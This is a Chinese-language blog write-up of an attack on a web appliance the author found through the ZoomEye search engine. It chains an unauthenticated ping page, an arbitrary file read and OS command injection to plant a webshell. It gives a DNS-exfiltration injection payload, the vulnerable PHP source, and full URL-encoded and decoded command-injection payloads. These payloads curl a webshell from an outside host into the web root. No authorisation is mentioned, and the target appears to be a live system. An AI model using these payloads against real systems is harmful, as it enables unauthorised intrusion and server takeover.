Web安全之实战通过os命令注入漏洞getwebshell
2022-2-25 18:43 作者:酷帥王子 | 黑盒网络渗透测试 |
Web安全之实战通过os命令注入漏洞getwebshell
一、 寻找突破口
经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:
发现reporter和Technology, Inc.都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。
地址为:
测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:
`whoami`.1111.ceye.io,如图:
返回dns记录如图:
发现当前用户权限为root
二、 通过漏洞组合getwebshell
文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:
得知网站路径为:/var/www/html/view/systemconfig/systemtool/
正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图
Os命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码
源代码为:
<?php include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php"); ?>
<?php
session_start ();
if ($_GET ["objClass"] == "")
exit ();
$param = $_REQUEST;
//echo "\n--------------------------\n";
//print_r($param);
//echo "\n--------------------------\n";
if ($_GET ["method"] == "getList" || $_GET ["method"] == "import" || $_GET ["method"] == "processAlarm") {
$param ["user"] = $_SESSION ["s_userName"];
$param ["lan"] = $_SESSION ["lan"];
$param ["regUserpath"] = $_SESSION ["regUserpath"];
exec ( "rm -rf /tmp/cache" );
$cmd = "/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";
$cmd .= " " . $_GET ["objClass"];
$cmd .= " " . $_GET ["method"];
$cmd .= " " . base64_encode ( json_encode ( $param ) );
file_put_contents("/tmp/query_cmd",$cmd);
exec ( $cmd . " > /dev/null &" );
} else {
require_once ($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
$obj = new QueryInterface ();
$instance = $obj->getInstance ();
$instance->invokeMethod ( $_GET ["objClass"], $_GET ["method"], $param );
}
exit ();
?>
经常简单审计发现if ($_GET ["method"] == "getList" || $_GET ["method"] == "import" || $_GET ["method"] == "processAlarm"),如果method只要等于getList、import、processAlarm这其中一个,$cmd = "/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);
exec ( $cmd . " > /dev/null &" );给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示
图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:
%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php
我们用url解码如下:
|curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php
使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:
三、总结
案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。
综上所述,运气与挖洞功底同等重要,谢谢观看!
文章作者:酷帥王子
文章地址:https://www.2k8.org:443/post-317.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!
发表评论: